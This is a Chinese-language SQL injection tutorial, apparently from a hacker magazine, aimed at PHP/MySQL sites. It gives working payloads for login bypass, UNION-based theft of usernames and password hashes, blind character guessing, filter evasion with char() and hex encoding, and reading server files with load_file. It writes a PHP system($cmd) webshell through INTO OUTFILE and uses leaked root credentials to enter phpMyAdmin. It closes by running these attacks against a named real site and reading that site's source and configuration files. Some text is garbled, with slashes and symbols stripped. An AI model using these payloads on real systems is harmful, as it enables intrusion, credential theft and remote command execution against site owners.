#號表示什麼來着,不是忘了吧,暈了,這麼快? 
忘就忘了吧,下面再詳細給你說說 


2.下面說一說mysql中的註釋,這個是很重要的,你們可不能再睡覺啦,要是再睡覺到期末考試的時候就掛了大家。 
咱們繼續 
相信你們在上面的幾個例子中已經看到註釋的強大做用了吧,這裏咱們將再詳細介紹一下。 
Mysql有3種註釋句法 
# 注射掉註釋符後面的本行內容 
-- 注射效果同# 
 ...   註釋掉符號中間的部分 


對於#號將是咱們最經常使用的註釋方法。 
-- 號記得後面還得有一個空格才能起註釋做用。 
…  咱們通常只用前面的就夠了,由於後面的咱們想加也不行,是吧? 


注意:在瀏覽器地址欄輸入#時應把它寫成%23,這樣經urlencode轉換後才能成爲#,從而起到註釋的做用。#號在瀏覽器的地址框中輸入的話可什麼也不是哦。 
爲了你們深入理解 
這裏我給你們來個例題 


有以下的管理員信息表 


CREATE TABLE alphaauthor ( 
  Id tinyint(4) NOT NULL auto_increment, 
  UserName varchar(50) NOT NULL default '', 
  PASSWORD varchar(50) default NULL, 
  Name varchar(50) default NULL, 
  PRIMARY KEY  (Id), 
  UNIQUE KEY Id (Id), 
  KEY Id_2 (Id) 



php 
Login.php 
…… 
$query=select  from alphaauthor where UserName='$username' and Password='$passwd'; 
$result=mysql_query($query); 
$data=mysql_fetch_array($result); 
if ($data) 
    { 
    Echo 「重要信息」; 
    } 
    Else 
    Echo 「登錄失敗」;  
…… 



咱們在瀏覽器地址框直接輸入 
httplogin.phpusername=a’or id=1 %23 
%23轉換成#了 
放到sql語句中 
select  from alphaauthor where UserName='a’or id=1 #' and Password='$passwd' 
#號後面的都拜輸入了,看看 
這句話等價於 
select  from alphaauthor where UserName='a’or id=1 


再仔細看看錶的結構,只要有id=1的帳戶,返回的$data就應該爲真 
咱們就直接登錄了,固然你也能夠寫 
hpptlogin.phpusername=a’or 1=1 %23 
同樣的啦 


3.下面將要出場的是…… 
對了,就是這些顯示系統信息的間諜們 


VERSION() 返回數據庫版本信息 
DATABASE() 返回當前的數據庫名字,若是沒有當前的數據庫,DATABASE()返回空字符串。 
USER()  
SYSTEM_USER()  
SESSION_USER() 
返回當前MySQL用戶名 
mysql; select user(),database(),version(); 
+----------------+------------+----------------+ 
 user()          database()  version()       
+----------------+------------+----------------+ 
 root@localhost  alpha       5.0.0-alpha-nt  
+----------------+------------+----------------+ 
1 row in set (0.01 sec) 
如圖(1)所示,圖不是很爽是否是?睜大你的大眼睛好好看哦 


有時候頗有用的哦,好比說你能夠根據他的mysql版本看看他的mysql有沒有什麼溢出漏洞,沒準咱們就發現個好動東哈哈 


4. 下面進入最重要的部分了,沒睡覺的打起精神來,睡着了的醒一醒啦。 
1)select union select 
仍是php中文手冊中講的: 
SELECT ... UNION [ALL] SELECT ... [UNION SELECT ...] 
UNION 在 MySQL 4.0.0 中被實現。  
UNION 用於將多個 SELECT 語句的結果聯合到一個結果集中。  


在 SELECT 中的 select_expression 部分列出的列必須具備一樣的類型。第一個 SELECT 查詢中使用的列名將做爲結果集的列名返回。  
SELECT 命令是一個普通的選擇命令,可是有下列的限制:  
只有最後一個 SELECT 命令能夠有 INTO OUTFILE。 


須要注意的是union先後的select字段數相同,只有這樣union函數才能發揮做用。若是字段數不等將返回 
ERROR 1222 (21000) The used SELECT statements have a different number of columns 錯誤 
暈咯,這樣很差吧。咋半哩? 
別急哈,急也沒用的 
例如: 
已知alphadb表有11列 
咱們 
mysql; select  from alphadb where id=351 union select 1,2,3,4,5,6,7,8,9,10 from alphaauthor; 
如圖(2) 


咱們只slect了10個數固然出錯啦。 
下面看 
mysql; select  from alphadb where id=347 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor;
如圖(3) 


咱們看看id=247中的數據先 
mysql; select  from alphadb where id=347; 
+-----+--------------------------------------------+----------------- 
 id   title  content  importtime  author  accessing  addInto  type  showup  change_ubb  change_html  
+-----+--------------------------------------------+----------------- 
 347  利用adsutil.vbs+..--發表於黑客檔案2004.6期  發表於黑客x檔案第6期  2004 
-03-28 115050  Alpha   17  Alpha      2    1     1   1  
+-----+--------------------------------------------+----------------- 
1 row in set (0.00 sec) 
咱們看到,它的返回結果和 
mysql; select  from alphadb where id=347 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor;
是相同的。 
哦,你們或許會問,這樣有什麼用呢? 
問的好。 
Ok,繼續試驗 
當咱們輸入一個不存在的id的時候 
例如id=0,或者id=347 and 1;1 
再看看 
mysql; select  from alphadb where id=347 and 1;1 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor; 
如圖(4) 


咱們發現它把咱們後面的1,2,3,4,5,6,7,8,9,10,11賦給了各個字段來顯示。 
哈哈,終於顯示不同了,但是這有什麼用呢? 
先不告訴你。 
咱們講一個具體的例子先 
httplocalhostsitedisplay.phpid=347 
看看圖5 


httplocalhostsitedisplay.phpid=347 and 1;1 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor 
結果如圖6 


下面咱們用一幅圖來總結一下union的用法如圖7 


Ok,知道怎麼利用了不?不知道的話下面將會詳細告訴你。 
2)LOAD_FILE 
這個功能太強大了,這也是林.linx在上一個專題中提到的方法。雖說過了,可我也不得再也不提出來。 
Load_file能夠返回文件的內容,記得寫全文件的路徑和文件名稱 
Etc. 
咱們在mysql的命令行下輸入 


mysql; select load_file('cboot.ini'); 
效果如圖(8) 


但是咱們在網頁中怎麼搞呢? 
咱們能夠結合union select使用 
httplocalhostsitedisplay.phpid=347%20and%201;1%20union%20select%201,2,load_file('capachehtdocssitelibsql.inc'),4,5,6,7,8,9,10,11 
這裏的capachehtdocssitelibsql.inc並非個人配置文件哦,:P 
看仔細圖9中的 


看看,文件內容暴露無疑。 
咱們爲何要把load_file('capachehtdocssitelibsql.inc')放在3字段呢?咱們前面提到列類型一共有那麼三種,而原來圖7中顯示3的地方應該是顯示文章內容,應該是字符型的,而load_file('capachehtdocssitelibsql.inc')也必定是字符型的,因此咱們猜想放在3字段能夠順利顯示。 
其實還有不少好的利用方法,繼續往下看哦! 
3) select  from table into outfile'file.txt' 
有啥用哩? 
做用就是把表的內容寫入文件,知道有多重要了吧,咱們寫個webshell吧,哈哈。 
固然咱們不僅是導出表,咱們還能夠導出其它東西的哦,往下看啦。 
假設有以下表 



# 數據表的結構 `test` 



CREATE TABLE test ( 
  a text, 
  b text 
) ENGINE=MyISAM DEFAULT CHARSET=latin1; 



# 導出下面的數據庫內容 `test` 



INSERT INTO test VALUES ('php system($cmd); ;', NULL); 


已知個人網站路徑在Capachehtdocssite 
好,看你表演哦,輸入 
httplocalhostsitedisplay.phpid=451%20and%201=2%20%20union%20select%201,2,a,4,5,6,7,8,9,10,11%20from%20test%20into%20outfile%20'Capachehtdocssitecmd.php' 
意思就是把表裏的a列內容導出到cmd.phpzhong 
看看cmd.php裏的內容先 
1    2    php system($cmd); ;    0000-00-00 000000    5    6    7    8    9    10    11 
咱們執行一下看看先 
httplocalhostsitecmd.phpcmd=dir 
如圖(10) 




哈哈,果真很爽哦! 
4)下面給你們講述LOAD DATA INFILE的故事 


LOAD DATA [LOW_PRIORITY] [LOCAL] INFILE 'file_name.txt' [REPLACE  IGNORE] INTO TABLE tbl_name 


LOAD DATA INFILE語句從一個文本文件中以很高的速度讀入一個表中。 
由於這個語句通常狀況下不能在瀏覽器裏直接輸入,因此做用不是很大。 


這裏舉個例子來講說 
表test的結構和上面介紹的同樣 



# 數據表的結構 `test` 



CREATE TABLE test ( 
  a text, 
  b text 
) ENGINE=MyISAM DEFAULT CHARSET=latin1; 




咱們在mysql命令行下輸入: 
Mysql;load data infile 'ccmd.php' into table test 


其中ccmd.php內容爲 
php system($cmd); ; 
注意:上面的內容寫在一行裏哦。 
經過上面的指令咱們就把cmd.asp的內容輸入到了test表中 
所得結果如圖(11) 


實際上獲得的就是上個例子test表中的內容!看看,再結合into outfile,是否是一個完美的組合呢。 
基本的語法就將到這裏了,可能還有不少重要的東西漏掉了哦,你能夠去php中文手冊裏淘金,相信你必定會找到不少好東西的,本身挖掘吧。(隨光盤咱們付上一個php中文手冊) 


B從注入方式上 
主要有數字型,字符型和搜索類 
1.    數字型 
很常見了,咱們上面舉的就一直是字符型的例子,你們應該還都記得asp下如何破管理員密碼,下面咱們來看一下php下如何實現 
咱們在地址欄輸入: 
httplocalhostsitedisplay.phpid=451%20and%201=(select%20min(id)%20from%20alphaauthor) 
判斷是否存在alphaauthor,若是有返回正常頁面(通常狀況啦,有的時候也返回其它什麼的,這主要根據構造1=1 和1=2時的頁面判斷) 


httplocalhostsitedisplay.phpid=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20length(username)=5) 
判斷是否username字段的長度爲5 


httplocalhostsitedisplay.phpid=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20length(username)=5%20and%20length(password)=32) 
跟上面差很少啦,判斷password字段的長度 


下面進入猜密碼的階段,用ascii方法來一位一位猜想吧。Ascii等同於asp下的asc,哈哈,常常看黑客X檔案的必定很清楚啦。 
httplocalhostsitedisplay.phpid=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20ascii(mid(username,1,1))=97) 
用戶名第一位哦ascii97就是字符a啦 


httplocalhostsitedisplay.phpid=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20ascii(mid(username,2,1))=108) 
第二位啦,這裏只放這一個圖啦,如圖(12) 




下面省略X條。 
反正咱們最後是得出用戶名和密碼了。 
咱們會發現這裏的注入方法幾乎和asp下的注入是同樣的,就是把asc變成ascii,把len變成length就能夠了,最後咱們就能夠獲得後臺的管理員帳號和密碼, 
固然咱們有更簡單的方法,能夠直接用union的方法直接獲得 


httplocalhostsitedisplay.phpid=451%20and%201=2%20%20union%20select%201,username,password,4,5,6,7,8,9,10,11%20from%20alphaauthor 
如圖(13) 


帳號是alpha,密碼是一長串的東東,哈哈,簡單明瞭,看到沒有,這裏顯示出了union select的強大威力了吧。 


上面講的是在不通的表裏面猜想內容,若是在同一個表裏面咱們還能夠像下面這樣哩: 
下面的一段代碼根據用戶id顯示用戶信息 


php 
user.php 
……….. 
$sql = SELECT  FROM user WHERE id=$id; 
………… 


if (!$result) 

echo wrong; 
exit; 

else 
echo 用戶信息; 



猜想方法和上面幾乎是同樣的,就是咱們不用再用select了。 
咱們輸入 
httplocalhostuser.phpid=1 and length(password)=7 
顯示用戶信息說明咱們猜的正確,呵呵,comeon 


httplocalhostuser.phpid=1 and ascii(mid(password,1,1))=97 
第一位密碼 
httplocalhostuser.phpid=1 and ascii(mid(password,2,1))=97 
第二位哦, 


經過這種方法最終咱們也能夠得出id=1的用戶的帳號密碼 


2.    下面咱們來看看字符型的注入方式 
在asp中字符型的注入方式很靈活,在php中字符型的注入就主要在 
magic_quotes_gpc=Off的狀況下進行了。(除非有另一種狀況,先不告訴你) 


例如: 
php 
display.php 
…… 
$query=select  from alphadb where id=’」.$id.」’; 
………….. 

這樣id就變成字符型的了。 
不知道你們發現沒有,假如咱們這樣寫程序的話,安全性會有所提升的哦 
    呵呵,繼續了 
好咱們檢驗是否有注入先 
httplocalhostsitedisplay.phpid=451' and 1=1 and ‘’=’ 
httplocalhostsitedisplay.phpid=451' and 1=2 and ‘’=’ 
帶入到sql語句裏就是 
select  from alphadb where id=’451’and 1=1 and ‘’=’’ 
select  from alphadb where id=’451’and 1=2 and ‘’=’’ 


若是你發現頁面信息不一樣的話說明漏洞存在哦 
或者 
httplocalhostsitedisplay.phpid=451' and 1=1 %23 
httplocalhostsitedisplay.phpid=451' and 1=2 %23 
%23轉化之後就是#,即註釋的意思,上面說過了哦 
這樣的話就不用考慮那個引號的閉合問題了,實際不少時候咱們推薦這種方法。 
把它帶入到sql語句裏就成了 
select  from alphadb where id=’451’and 1=1 #’ 
正是咱們想要的哦! 
看看效果吧,  
httplocalhostsitedisplay.phpid=451' and 1=1 %23 
圖(14) 


正常顯示了囈! 


httplocalhostsitedisplay.phpid=451' and 1=2 %23 
圖(15) 




顯示不正常,哈哈,說明問題存在 
咱們繼續哦: 
httplocalhostsitedisplay.phpid=451’%20and%201=2%20%20union%20select%201,username,password,4,5,6,7,8,9,10,11%20from%20alphaauthor%23 
看圖(16) 


Ok,用戶名和密碼又出來了哦! 
3.    你們一塊兒來看看搜索型注入吧 
搜索型的語句通常這樣寫 
php 
search.php 
…… 
$query=select  from alphadb where title like '%$title%'; 
………….. 

不知道你們仍是否記得asp裏的注入呢? 
不過不記得也沒有關係的啦,咱們看吧。 
咱們構建注入語句吧 
在輸入框輸入 
a%' and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor#放到sql語句中成了 


select  from alphadb where title like '%a%' and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# %' 
結果如圖17哦 


怎麼樣,出來了吧,哈哈,一切盡在掌握之中。 


C:下面咱們從注入地點上在來看一下各類注入攻擊方式 
1)    首先來看看後臺登錄哦 
代碼先 
php 
login.php 
……. 
$query=select  from alphaauthor where UserName=' 
.$HTTP_POST_VARS[UserName].' and  
Password='. $HTTP_POST_VARS[Password].'; 
$result=mysql_query($query); 
$data=mysql_fetch_array($result); 
if ($data) 

echo 「後臺登錄成功」; 

esle 

echo 「從新登錄」; 
exit; 
} 


……… 

Username和password沒有通過任何處理直接放到sql中執行了。 
看看咱們怎麼繞過呢? 
最經典的仍是那個: 
在用戶名和密碼框裏都輸入 
‘or’’=’ 
帶入sql語句中成了 
select  from alphaauthor where UserName=’’or’’=’’ and Password=’’or’’=’’ 
這樣帶入獲得的$data確定爲真,也就是咱們成功登錄了。 
還有其餘的繞過方法,原理是同樣的,就是想辦法讓$data返回是真就能夠了。 
咱們能夠用下面的這些中方法哦 
1. 
用戶名和密碼都輸入’or’a’=’a 
Sql成了 
select  from alphaauthor where UserName=’’or’a’=’a’ and Password=’’or’a’=’a’ 


2. 
用戶名和密碼都輸入’or 1=1 and ‘’=’ 
Sql成了 
select  from alphaauthor where UserName=’ ’or 1=1 and ‘’=’’ and Password=’ ’or 1=1 and ‘’=’’ 
用戶名和密碼都輸入’or 2;1 and ‘’=’ 
Sql成了 
select  from alphaauthor where UserName=’ ’or 2;1 and ‘’=’’ and Password=’ ’or 2;1 and ‘’=’’ 


3. 
用戶名輸入’or 1=1 # 密碼隨便輸入 
Sql成了 
select  from alphaauthor where UserName=’ ’or 1=1 # and Password=’anything’ 
後面部分被註釋掉了,固然返回仍是真哦。 
        4. 
假設admin的id=1的話你也能夠 


用戶名輸入’or id=1 # 密碼隨便輸入 
Sql成了 
select  from alphaauthor where UserName=’ ’or id=1 # and Password=’anything’ 
如圖18 


看看效果圖19 




怎麼樣?直接登錄了哦! 


俗話說的好,只有想不到沒有作不到。 
還有更多的構造方法等着課後本身想啦。 


2)第二個經常使用注入的地方應該算是前臺資料顯示的地方了。 
上面已經屢次提到了呀,並且涉及了數字型,字符型等等,這裏就再也不重複了哈。 
只是舉個例子回顧一下 
碧海潮聲下載站 - v2.0.3 lite有注入漏洞,代碼就再也不列出來了 
直接看結果 
httplocalhostdownindex.phpurl=&dlid=1%20and%201=2%20union%20select%201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20dl_users 
如圖20 


看看,咱們又獲得咱們想要的了 
用戶名alpha 
密碼一長串。 
爲何咱們要把password放在3字段處,把username放在5字段處了,咱們上面已經提過了哦,就是咱們猜想3和5段顯示的應該是字符串型,而與咱們要顯示的username和password的字段類型應該相同,因此咱們這樣放了哦。 
爲何要用18個字段呢?不知道你們仍是否記得在union select介紹那裏咱們提到union必需要求先後select的字段數相同,咱們能夠經過增長select的個數來猜想到須要18個字段,只有這樣union select的內容纔會正常顯示哦! 
3)其它如資料修改,用戶註冊的地方主要得有用戶等級的應用。 
咱們在上面講述update和insert的時候都已經講到,由於不是很經常使用,這裏就再也不闡述,在下面將會提到一些關於update和insert的高級利用技巧。 
二:下面將要進入magic_quotes_gpc=On時候的注入攻擊教學環節了 
    當magic_quotes_gpc=On的時候,交的變量中全部的 ' (單引號),  
「 (雙引號),  (反斜線) 和 空字符會自動轉爲含有反斜線的轉義字符。 
    這就使字符型注入的方法化爲泡影,這時候咱們就只能注入數字型且沒有 
Intval()處理的狀況了,數字型的咱們已經講了不少了是吧,因爲數字型沒有用到單引號天然就沒有繞過的問題了,對於這種狀況咱們直接注入就能夠了。 
1)假如是字符型的就必須得像下面這個樣子,沒有在字符上加引號 。 
     
這裏咱們要用到一些字符串處理函數先, 
字符串處理函數有不少,這裏咱們主要講下面的幾個,具體能夠參照mysql中文參考手冊7.4.10。 
     
    char() 將參數解釋爲整數而且返回由這些整數的ASCII代碼字符組成的一個字符串。 
固然你也能夠用字符的16進制來代替字符,這樣也能夠的,方法就是在16進制前面加0x,看下面的例子就明白了。 


    php 
    login.php 
    …… 
$query=select  from .$art_system_db_table['user'].  
where UserName=$username and Password='.$Pw.'; 
…… 



假設咱們知道後臺的用戶名是alpha 
轉化成ASCII後是char(97,108,112,104,97) 
轉化成16進制是0x616C706861 
(咱們將在光盤中提供16進制和ascii轉換工具) 
好了直接在瀏覽器裏輸入: 


httplocalhostsiteadminlogin.phpusername=char(97,108,112,104,97)%23 
sql語句變成: 


select  from alphaAuthor where UserName=char(97,108,112,104,97)# and Password='' 
如圖21 


    正如咱們指望的那樣,他順利執行了,咱們獲得咱們想要的。 
    固然咯,咱們也能夠這樣構造 
httplocalhostsiteadminlogin.phpusername=0x616C706861%23 
sql語句變成: 
select  from alphaAuthor where UserName=0x616C706861%23# and Password='' 
咱們再一次是成功者了。頗有成就感吧, 


或許你會問咱們是否能夠把#也放在char()裏 
實際上char(97,108,112,104,97)至關於’alpha’  
注意是alpha上加引號,表示alpha字符串。 
咱們知道在mysql中若是執行 


mysql; select  from dl_users where username=alpha; 
ERROR 1054 (42S22) Unknown column 'alpha' in 'where clause' 
看返回錯誤了。由於他會認爲alpha是一個變量。因此咱們得在alpha上加引號。 
以下 
mysql; select  from dl_users where username='alpha'; 
這樣纔是正確的。 
若是你把#號也放到那裏去了,就成了’alpha#’ 
帶入sql語句中 
select  from dl_users where username='alpha#'; 
固然是什麼也沒有了,由於連alpha#這個用戶都沒有。 
好,下面咱們再來看個例子, 


php 
    display.php  
    …… 
$query=select  from .$art_system_db_table['article'].  
where type=$type; 
…… 



代碼根據類型來顯示內容,$type沒有任何過濾,且沒有加引號放入程序中。 
假設type中含有xiaohua類,xiaohua的char()轉換後是 
char(120,105,97,111,104,117,97) 


咱們構建 
httplocalhostdisplay.phptype=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor 
帶入sql語句中爲: 
select  from .$art_system_db_table['article'].  
where type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor 
看看,咱們的用戶名和密碼照樣出來了哦!沒有截圖,想像一下咯:P 


2)    或許有人會問,在magic_quotes_gpc=On的狀況下功能強大的load_file()還能不能用呢? 
這正是咱們下面要將的問題了,load_file()的使用格式是load_file(‘文件路徑’) 
咱們發現只要把‘文件路徑’轉化成char()就能夠了。試試看哦 
load_file(‘cboot.ini’)轉化成 
load_file(char(99,58,47,98,111,111,116,46,105,110,105)) 
圖22 


    放到具體注入裏就是 
httplocalhostdownindex.phpurl=&dlid=1%20and%201=2%20union%20select%201,2,load_file(char(99,58,47,98,111,111,116,46,105,110,105)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 
看圖23 


    看看,咱們看到了boot.ini的內容了哦。 
很惋惜的是into outfile’’ 不能繞過,否則就更爽了。可是仍是有一個地方可使用select  from table into outfile’’ 那就是….(先賣個關子,下面會告訴你) 
三:一些注入技巧,不少都是我的發現哦 
1.union select的技巧 
UNION 用於將多個 SELECT 語句的結果聯合到一個結果集中。在 SELECT 中的 select_expression 部分列出的列必須具備一樣的類型。第一個 SELECT 查詢中使用的列名將做爲結果集的列名返回。 
然而有咱們能夠用下面的方法來猜想列的類型,但是省去不少時間 
咱們先 
httplocalhostdownindex.phpurl=&dlid=1%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 
圖24 


看看軟件描述裏寫着3,做者裏寫着4,咱們就能夠猜想3和4的位置是字符型的,咱們再看14前面的是下載次數,這就應該是int型的了,對吧。 
好了,咱們根據這裏來構建吧,估計username和password也是字符型的。 
試試看哦 
httplocalhostdownindex.phpurl=&dlid=1%20and%201=2%20union%20select%201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20dl_users 
如圖25 


哈哈,這種方法只要看看就能夠大概猜到了。 
2.load_file讀寫文件的技巧 
不知道你有沒有發現過在咱們用load_file()讀寫php文件時不能在網頁中顯示。例如: 
'Capachehtdocssitelibsql.inc.php'轉化爲16進製爲:0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870 
咱們構造以下 
httplocalhostsitedisplay.phpid=451%20and%201=2%20%20union%20select%201,2,load_file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11 
如圖26 


發如今文章內容的地方原本該顯示sql.inc.php的,但是卻空空之,爲什麼呢? 
咱們看看網頁的源代碼先 
圖27 


哈哈,看看標記的地方,暈死,原來在這裏啊,但是爲何哩? 
原來html中 ;用於標註,哈哈,明白了吧!下次可得記得在哪裏找哦。 
4.    md5的惡夢 
山東大學的王博士最近但是搞md5搞的紅透了,咱們也來搞一搞吧,咱們比他更爽,不用計算,哈哈。 
md5咱們是有辦法繞過的,可是並非哪裏均可以,php中的md5函數就不能繞過,由於你輸入的全部東西都在裏面,根本跑不出。能夠繞過的是sql語句中的md5。固然別的sql中的函數也是能夠繞過的,道理相同哦。 
看例子先: 
php 
login.php 
…… 
$query=select  from alphaauthor where UserName=md5($username) and Password='.$Pw.'; 
…… 

咱們直接在瀏覽器提交 
httplocalhostadminlogin.phpusername=char(97,98)) or 1=1 %23 
帶入sql語句成爲select  from alphaauthor where UserName=md5(char(97,98)) or 1=1 #) and Password='.$Pw.' 
記得md5裏面放的是字符,由於後面有or 1=2,因此咱們隨便放了個char(97,98).    Ok,登錄成功了哦!看看,md5在咱們面前也沒有什麼用處。 
5.    核心技術,利用php+mysql注入漏洞直接寫入webshell。。 
直接利用注入獲得webshell,這應該是你們都很想的吧,下面就教給你。 
這裏假設你已經知道了網站所在的物理路徑,我這裏假設網站路徑爲capachehtdocssite。網站的mysql鏈接信息放在libsql.inc.php裏 
1)適用於magic_quotes_gpc=Off 
假設咱們能夠上傳圖片,或者txt,zip,等其它東西,咱們把咱們的木馬改爲 
jpg後綴的,上傳後路徑爲upload2004091201.jpg 
2004091201.jpg中的內容爲 php system($cmd); ; 
好,咱們開始httplocalhostsitedisplay.phpid=451%20and%201=2%20%20union%20select%201,2,load_file('Capachehtdocssiteupload2004091201.jpg'),4,5,6,7,8,9,10,11%20into%20outfile'Capachehtdocssiteshell.php' 
由於適用了outfile,因此網頁顯示不正常,可是咱們的任務是完成了。 
如圖28 
咱們趕快去看看httplocalhostsiteshell.phpcmd=dir 
如圖29 


爽否?Webshell咱們已經建立成功了。看到最前面的12了沒?那就是咱們select 1,2所輸出的! 
2)下面再講一個適用於magic_quotes_gpc=On的時候保存webshell的方法哦,顯然確定也能用在於magic_quotes_gpc=Off的時候啦。 
咱們直接讀他的配置文件,用技巧2介紹的方法 
httplocalhostsitedisplay.phpid=451%20and%201=2%20%20union%20select%201,2,load_file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11 
獲得sql.inc.php內容爲 
$connect=@mysql_connect(localhost,root,) or  die(Unable  to  connect  to  SQL  server);mysql_select_db(alpha,$connect) or  die(Unable  to  select  database);; 
好了咱們知道了mysql的root密碼了,咱們找到phpmyadmin的後臺 
httplocalhostphpmyadmin 
用root密碼爲空登錄。 
如圖30 
而後咱們新創建一個表結構內容以下: 



# 數據表的結構 `te` 

CREATE TABLE te ( 
  cmd text NOT NULL 
) ENGINE=MyISAM DEFAULT CHARSET=latin1; 



# 導出下面的數據庫內容 `te` 

INSERT INTO te VALUES ('php system($cmd); ;'); 
Ok,是咱們用select  from table into outfile’’的時候了 
直接在phpmyadmin的sql輸入 
SELECT  FROM `te` into outfile 'Capachehtdocssitecmd1.php'; 
如圖31 


Ok,成功執行,咱們去httplocalhostsitecmd1.phpcmd=dir看看效果去 
如圖32 


好爽的一個webshell是吧!哈哈,我也很喜歡。 
不過不知道你們有沒有發現咱們是在magic_quotes_gpc=On的狀況下完成這項工做的,居然在phpmyadmin裏能夠不用考慮引號的限制,哈哈,說明什麼?說明phpmyadmin太偉大了,這也就是咱們在談magic_quotes_gpc=On繞過期所賣的那個關子啦! 
6.發現沒有咱們還能夠利用update和insert來插入咱們的數據,而後來獲得咱們的webshell哦,還用上面的那個例子, 
php 
reg.php 
…… 
$query = INSERT INTO members  
VALUES('$id','$login','$pass','$email',’2') ; 
…… 

咱們在email的地方輸入php system($cmd); ; 
假設咱們註冊後的id爲10 
那麼咱們能夠再找到一個能夠注入的地方 
httplocalhostsitedisplay.phpid=451%20and%201=2%20%20union%20select%201,2,email,4,5,6,7,8,9,10,11%20from%20user%20where%20id=10%20 into%20outfile'Capachehtdocssitetest.php' 
好了,咱們又有了咱們的wenshell了哦。 
7.mysql的跨庫查詢 
你們是否是一直據說mysql不能跨庫查詢啊,哈哈,今天我將要教你們一個好方法,經過這個方法來實現變相的跨庫查詢,方法就是經過load_file來直接讀出mysql中data文件夾下的文件內容,從而實現變態跨庫查詢。 
舉個例子啦 
在這以前咱們先講一下mysql的data文件夾下的結構 
Data文件夾下有按數據庫名生成的文件夾,文件夾下按照表名生成三個後綴爲frm,myd,myi的三個文件,例如 
Mysql中有alpha數據庫,在alpha庫中有alphaauthor和alphadb兩個表, 
Alpha文件夾內容以下圖33 


其中alphadb.frm放着lphadb表中的數據,alphadb.frm放着表的結構,alphadb.myi中放的內容隨mysql的版本不通會有所不一樣,具體能夠本身用記事本打開來判斷。 
實驗開始 
假設咱們知道有另外的一個數據庫yminfo210存在,且存在表user,user中放這admin的信息。 
咱們 
httplocalhostsitedisplay.phpid=451%20and%201=2%20%20union%20select%201,2,load_file('yminfo210user.myd'),4,5,6,7,8,9,10,11 
說明一下,load_file默認所在的目錄是mysql下的data目錄,因此咱們用 
load_file('yminfo210user.myd'),固然load_file('.info210user.myd')也是同樣的,注意的是into outfile的默認路徑是在所在的數據庫文件夾下。 


結果如圖34  


咱們看讀出來的內容 
舼    admin 698d51a19d8a121ce581499d7b701668 admin@yoursite.comadmin question admin answer  httpwww.yoursite.com  (靃KA靃靃  127.0.0.1  d   aaa 3dbe00a167653a1aaee01d93e77e730e sdf@sd.com sdfasdfsdfa asdfadfasd   E麷AM麷A 127.0.0.1 222  222222223423 
雖然亂碼一堆,可是咱們仍是能夠看出用戶名是admin,密碼是698d51a19d8a121ce581499d7b701668,後面其它的是另外的信息。 
經過這種方法咱們就實現了曲線跨庫,下面的例子中也會提到哦! 


說了這麼多下面咱們來具體的使用一次,此次測試的對象是國內一著名安全類站點――黑白網絡 
聽人家說黑白有漏洞?咱們一塊兒去看看吧。 
httpwww.heibai.netdownshow.phpid=5403%20and%201=1 
正常顯示。 
如圖35 


httpwww.heibai.netdownshow.phpid=5403%20and%201=2 
顯示不正常。 
如圖36 


好,咱們繼續 
httpwww.heibai.netdownshow.phpid=5403%20and%201=1 union select 1 
顯示結果以下 
如圖37 


注意看圖中沒有顯示程序名,並且還附帶了 
Warning mysql_fetch_object() supplied argument is not a valid MySQL result resource in Dwebheibaidownshow.php on line 45 


Warning mysql_fetch_array() supplied argument is not a valid MySQL result resource in Dwebheibaidownglobal.php on line 578 


暈了,網站路徑出來了,那可就死定了哦! 
咱們繼續,直到咱們猜到 
httpwww.heibai.netdownshow.phpid=5403%20and%201=1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 
的時候正常顯示了。 
如圖38 


好咱們轉換語句成爲 
httpwww.heibai.netdownshow.phpid=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 
顯示如圖39 


看看簡介處顯示爲12,咱們能夠猜想此處應該爲字符型! 
Ok,咱們下面看看文件內容先 
Dwebheibaidownshow.php轉化成ascii後爲 
char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,104,111,119,46,112,104,112) 
咱們 
view-sourcehttpwww.heibai.netdownshow.phpid=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,104,111,119,46,112,104,112)),13,14,15,16,17,18,19 
view-source是指察看源代碼,至於爲何用,咱們後面將講到 
顯示出它的源代碼 
如圖40 


由於在show.php中有一句 
META HTTP-EQUIV=REFRESH CONTENT='0;URL=list.php'; 
若是咱們直接在瀏覽器裏提交會跳轉到list.php 
咱們發現這句require (.includeconfig.inc.php); 
好東西,應該放這配置文件,ok繼續 
dwebheibaidownincludeconfig.inc.php 
轉化成char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112) 
咱們輸入 
httpwww.heibai.netdownshow.phpid=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)),13,14,15,16,17,18,19 
顯示結果如圖41 


裏面內容主要有 
………………….. 
ymDown (夜貓下載系統) 是一個應用於網站提供下載服務的的程序 
